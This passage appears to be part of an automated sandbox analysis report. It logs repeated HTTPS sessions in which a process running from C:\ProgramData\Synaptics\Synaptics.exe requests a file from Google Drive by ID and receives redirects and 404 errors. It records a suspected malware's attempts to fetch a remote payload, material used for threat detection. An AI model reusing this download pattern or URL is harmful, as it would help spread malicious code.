0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:09 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49991	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49992	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49995	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:10 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-idcdAk5E78s3WCWv75eKlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	50002	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:10 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-HsEDW3jr3h_niS771zns9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	50006	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:11 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:11 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6qePi-oNze6j1Xb_QyJsI6KpyE0Fak2MtcHZluM_W9eh5BYANf72cPDvNbaeufpV1CwZtHQ10 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:11 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-E3_V1hM7IuPwFCGai82noA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:11 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:11 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 41 6f 75 63 47 69 50 41 32 63 47 35 70 62 45 73 76 67 4a 65 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="4AoucGiPA2cG5pbEsvgJeA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:11 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	50005	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:11 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VNjY5yEygUMleBqbQwP3SQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	50014	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:11 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:12 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7DS_pHNYbhiBmxstMpCPpvzFoM6kpqEQGkBG5O_lHLh99iab6ZzyBxpR2Quj7UNVZryCjR_ek Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:12 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YU-niXs69C82prCCCLdRLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:12 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:12 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 32 51 4a 50 66 71 50 34 59 4f 34 6f 4c 64 4b 43 32 6a 4d 41 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="z2QJPfqP4YO4oLdKC2jMAg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:12 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	50015	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:11 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sqFFfTXN1KqnY1JhtBHChg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	50018	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:12 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XtQ83DILEemL5Gqq16HQmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	50019	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:12 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4vwLKGqCv7KQyhZJuzo6XrrumCEFoJ3lv6IHe-K1YjJwEgSdvwM5JoYHt6lmKS1Ja6lXpSXIY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:12 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bmoHyBlJIsDv8-RX3CMxNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:12 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:12 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6c 38 4e 66 47 49 43 4f 37 64 50 42 71 37 77 44 55 56 64 71 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="ol8NfGICO7dPBq7wDUVdqw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
